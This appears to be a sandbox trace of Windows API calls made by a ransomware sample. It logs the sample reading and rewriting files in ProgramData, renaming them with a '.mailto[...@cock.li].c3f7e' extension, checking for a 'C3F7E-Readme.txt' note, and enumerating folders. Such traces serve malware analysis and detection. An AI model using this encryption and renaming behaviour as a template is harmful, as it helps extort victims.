	[0081.464] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33c30) returned 1
	[0081.464] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ca8) returned 1
	[0081.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0081.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33910
	[0081.465] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33910) returned 1
	[0081.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a3810
	[0081.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f61fb0
	[0081.465] ReadFile (in: hFile=0x1424, lpBuffer=0x48a3810, nNumberOfBytesToRead=0x42f, lpNumberOfBytesRead=0xeebfde4, lpOverlapped=0x0 | out: lpBuffer=0x48a3810*, lpNumberOfBytesRead=0xeebfde4*=0x42f, lpOverlapped=0x0) returned 1
	[0081.465] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.465] WriteFile (in: hFile=0x1424, lpBuffer=0x4f61fb0*, nNumberOfBytesToWrite=0x42f, lpNumberOfBytesWritten=0xeebfde0, lpOverlapped=0x0 | out: lpBuffer=0x4f61fb0*, lpNumberOfBytesWritten=0xeebfde0*=0x42f, lpOverlapped=0x0) returned 1
	[0081.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33af0
	[0081.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33988
	[0081.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33988) returned 1
	[0081.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f61fb0) returned 1
	[0081.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a3810) returned 1
	[0081.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0081.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaf) returned 0x2ddb818
	[0081.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf58
	[0081.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0081.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33a28
	[0081.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0081.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaf) returned 0x2ddb988
	[0081.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339d8
	[0081.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33988
	[0081.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33988) returned 1
	[0081.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0081.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf58) returned 1
	[0081.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x193) returned 0x2dc3d68
	[0081.467] SetFilePointerEx (in: hFile=0x1424, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.468] WriteFile (in: hFile=0x1424, lpBuffer=0x2dc3d68*, nNumberOfBytesToWrite=0x193, lpNumberOfBytesWritten=0xeebfe48, lpOverlapped=0x0 | out: lpBuffer=0x2dc3d68*, lpNumberOfBytesWritten=0xeebfe48*=0x193, lpOverlapped=0x0) returned 1
	[0081.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc3d68) returned 1
	[0081.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb988) returned 1
	[0081.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0081.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddb818) returned 1
	[0081.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33af0) returned 1
	[0081.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.469] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a00) returned 1
	[0081.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x140) returned 0x2dc3d68
	[0081.469] wcscpy (in: _Dest=0x2dc3d68, _Source="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag"
	[0081.469] wcscat (in: _Dest=0x2dc3d68, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.469] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xeebfe00, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.469] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x156) returned 0x2d85ee8
	[0081.469] NtSetInformationFile (FileHandle=0x1424, IoStatusBlock=0xeebfdf8, FileInformation=0x2d85ee8, Length=0x156, FileInformationClass=0xa) returned 0x0
	[0081.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85ee8) returned 1
	[0081.470] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0081.470] NtQueryInformationFile (in: FileHandle=0x1424, IoStatusBlock=0xeebfe0c, FileInformation=0xeebfde4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xeebfe0c, FileInformation=0xeebfde4) returned 0x0
	[0081.470] NtSetInformationFile (FileHandle=0x1424, IoStatusBlock=0xeebfe0c, FileInformation=0xeebfde4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0081.471] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc3d68) returned 1
	[0081.471] FlushFileBuffers (hFile=0x1424) returned 1
	[0081.474] CloseHandle (hObject=0x1424) returned 1
	[0081.476] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x498c580
	[0081.476] wcscpy (in: _Dest=0x498c580, _Source="C:\\ProgramData\\regid.1991-06.com.microsoft\\" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\"
	[0081.476] wcscat (in: _Dest=0x498c580, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\C3F7E-Readme.txt") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\C3F7E-Readme.txt"
	[0081.476] GetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\c3f7e-readme.txt")) returned 0x20
	[0081.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498c580) returned 1
	[0081.476] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89148) returned 1

Thread:
	id = 349
	os_tid = 0x149c

	[0076.892] GetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag")) returned 0x20
	[0081.393] SetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag", dwFileAttributes=0x20) returned 1
	[0081.407] CreateFileW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_windows-10-pro.swidtag"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x141c
	[0081.413] GetFileSizeEx (in: hFile=0x141c, lpFileSize=0xef3f944 | out: lpFileSize=0xef3f944*=997) returned 1
	[0081.413] SetFilePointerEx (in: hFile=0x141c, liDistanceToMove=0x3e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.413] ReadFile (in: hFile=0x141c, lpBuffer=0xef3f8c8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xef3f8c4, lpOverlapped=0x0 | out: lpBuffer=0xef3f8c8*, lpNumberOfBytesRead=0xef3f8c4*=0x4, lpOverlapped=0x0) returned 1
	[0081.417] SetFilePointerEx (in: hFile=0x141c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.417] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.417] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33bb8
	[0081.417] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.417] NtQuerySystemTime (in: CurrentTime=0xef3f8a4 | out: CurrentTime=0xef3f8a4*=132251868081557437) returned 0x0
	[0081.417] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x178235a9
	[0081.417] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0xc858ceb7
	[0081.417] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x2941d29a
	[0081.417] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x229a7e0e
	[0081.417] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0xfaa80b10
	[0081.417] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0xbccde8ef
	[0081.417] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0xf49cae31
	[0081.417] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0xaaa3e39b
	[0081.417] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x8b437ed9
	[0081.417] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x1cc301df
	[0081.417] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x721bf9af
	[0081.417] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0xa543cf65
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0xd36fac8b
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0xa2feddfe
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0xa0700d1e
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x87dcb277
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0xfaaacdd
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x88dfba2c
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0xa3353f38
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x56c89b8c
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x96abd387
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x70d35bc7
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x55976f69
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x799f8766
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0xb44dff9c
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x2b7dc983
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0xbdf4e36c
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x9bc81035
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0xba9bb899
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x9c1e98d4
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0xcc06d19d
	[0081.418] RtlRandom (in: Seed=0xef3f8b0 | out: Seed=0xef3f8b0) returned 0x1c4353a8
	[0081.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33af0
	[0081.426] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.426] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e338c0
	[0081.426] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.426] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.426] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b40
	[0081.427] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b40) returned 1
	[0081.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a3810
	[0081.427] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f61fb0
	[0081.427] ReadFile (in: hFile=0x141c, lpBuffer=0x48a3810, nNumberOfBytesToRead=0x3e5, lpNumberOfBytesRead=0xef3f8a0, lpOverlapped=0x0 | out: lpBuffer=0x48a3810*, lpNumberOfBytesRead=0xef3f8a0*=0x3e5, lpOverlapped=0x0) returned 1
	[0081.427] SetFilePointerEx (in: hFile=0x141c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.427] WriteFile (in: hFile=0x141c, lpBuffer=0x4f61fb0*, nNumberOfBytesToWrite=0x3e5, lpNumberOfBytesWritten=0xef3f89c, lpOverlapped=0x0 | out: lpBuffer=0x4f61fb0*, lpNumberOfBytesWritten=0xef3f89c*=0x3e5, lpOverlapped=0x0) returned 1
	[0081.428] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33988
	[0081.428] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f61fb0) returned 1
	[0081.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a3810) returned 1
	[0081.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.428] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.428] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x71) returned 0x47bde90
	[0081.428] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.429] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.429] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b40
	[0081.429] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b40) returned 1
	[0081.429] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x71) returned 0x47bd710
	[0081.429] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339b0
	[0081.429] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33910
	[0081.429] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33910) returned 1
	[0081.429] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.429] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.429] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x155) returned 0x2dc3d68
	[0081.429] SetFilePointerEx (in: hFile=0x141c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.429] WriteFile (in: hFile=0x141c, lpBuffer=0x2dc3d68*, nNumberOfBytesToWrite=0x155, lpNumberOfBytesWritten=0xef3f904, lpOverlapped=0x0 | out: lpBuffer=0x2dc3d68*, lpNumberOfBytesWritten=0xef3f904*=0x155, lpOverlapped=0x0) returned 1
	[0081.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc3d68) returned 1
	[0081.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd710) returned 1
	[0081.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339b0) returned 1
	[0081.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bde90) returned 1
	[0081.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33988) returned 1
	[0081.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33bb8) returned 1
	[0081.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33af0) returned 1
	[0081.430] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e338c0) returned 1
	[0081.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x4716f40
	[0081.431] wcscpy (in: _Dest=0x4716f40, _Source="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag"
	[0081.431] wcscat (in: _Dest=0x4716f40, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.431] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xef3f8bc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft_Windows-10-Pro.swidtag.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.431] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x118) returned 0x4771990
	[0081.431] NtSetInformationFile (FileHandle=0x141c, IoStatusBlock=0xef3f8b4, FileInformation=0x4771990, Length=0x118, FileInformationClass=0xa) returned 0x0
	[0081.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771990) returned 1
	[0081.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0081.432] NtQueryInformationFile (in: FileHandle=0x141c, IoStatusBlock=0xef3f8c8, FileInformation=0xef3f8a0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xef3f8c8, FileInformation=0xef3f8a0) returned 0x0
	[0081.432] NtSetInformationFile (FileHandle=0x141c, IoStatusBlock=0xef3f8c8, FileInformation=0xef3f8a0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0081.434] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716f40) returned 1
	[0081.434] FlushFileBuffers (hFile=0x141c) returned 1
	[0081.436] CloseHandle (hObject=0x141c) returned 1
	[0081.437] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x7a) returned 0x498c140
	[0081.437] wcscpy (in: _Dest=0x498c140, _Source="C:\\ProgramData\\regid.1991-06.com.microsoft\\" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\"
	[0081.437] wcscat (in: _Dest=0x498c140, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\regid.1991-06.com.microsoft\\C3F7E-Readme.txt") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\C3F7E-Readme.txt"
	[0081.438] GetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\c3f7e-readme.txt")) returned 0x20
	[0081.438] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498c140) returned 1
	[0081.438] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790ee8) returned 1

Thread:
	id = 350
	os_tid = 0x14a0

	[0076.893] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2dac318
	[0076.893] wcscpy (in: _Dest=0x2dac318, _Source="C:\\ProgramData\\USOPrivate\\UpdateStore" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore") returned="C:\\ProgramData\\USOPrivate\\UpdateStore"
	[0076.893] wcscat (in: _Dest=0x2dac318, _Source="\\" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore\\") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\"
	[0076.893] wcscat (in: _Dest=0x2dac318, _Source="*" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore\\*") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\*"
	[0076.893] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddf078
	[0076.893] FindFirstFileW (in: lpFileName="C:\\ProgramData\\USOPrivate\\UpdateStore\\*", lpFindFileData=0x2ddf078 | out: lpFindFileData=0x2ddf078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8ba8af75, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x8ba8af75, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dac978
	[0079.101] wcscmp (_String1=".", _String2=".") returned 0
	[0079.101] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2ddf078 | out: lpFindFileData=0x2ddf078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8ba8af75, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x8ba8af75, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.101] wcscmp (_String1="..", _String2=".") returned 1
	[0079.101] wcscmp (_String1="..", _String2="..") returned 0
	[0079.102] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2ddf078 | out: lpFindFileData=0x2ddf078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc9086d4, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xdc9086d4, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xdc9086d4, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateCspStore.xml", cAlternateFileName="UPDATE~2.XML")) returned 1
	[0079.102] wcscmp (_String1="UpdateCspStore.xml", _String2=".") returned 1
	[0079.102] wcscmp (_String1="UpdateCspStore.xml", _String2="..") returned 1
	[0079.102] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x47bcb10
	[0079.102] wcscpy (in: _Dest=0x47bcb10, _Source="C:\\ProgramData\\USOPrivate\\UpdateStore" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore") returned="C:\\ProgramData\\USOPrivate\\UpdateStore"
	[0079.102] wcscat (in: _Dest=0x47bcb10, _Source="\\" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore\\") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\"
	[0079.102] wcscat (in: _Dest=0x47bcb10, _Source="UpdateCspStore.xml" | out: _Dest="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml") returned="C:\\ProgramData\\USOPrivate\\UpdateStore\\UpdateCspStore.xml"
	[0079.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bcb10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10b4
	[0079.103] FindNextFileW (in: hFindFile=0x2dac978, lpFindFileData=0x2ddf078 | out: lpFindFileData=0x2ddf078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1957bdd, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8b05b87d, ftLastAccessTime.dwHighDateTime=0x1d5da5f, ftLastWriteTime.dwLowDateTime=0x8b959c89, ftLastWriteTime.dwHighDateTime=0x1d5da5f, nFileSizeHigh=0x0, nFileSizeLow=0x52d, dwReserved0=0x0, dwReserved1=0x0, cFileName="updatestore51b519d5-b6f5-4333-8df6-e74d7c9aead4.xml", cAlternateFileName="UPDATE~1.XML")) returned 1
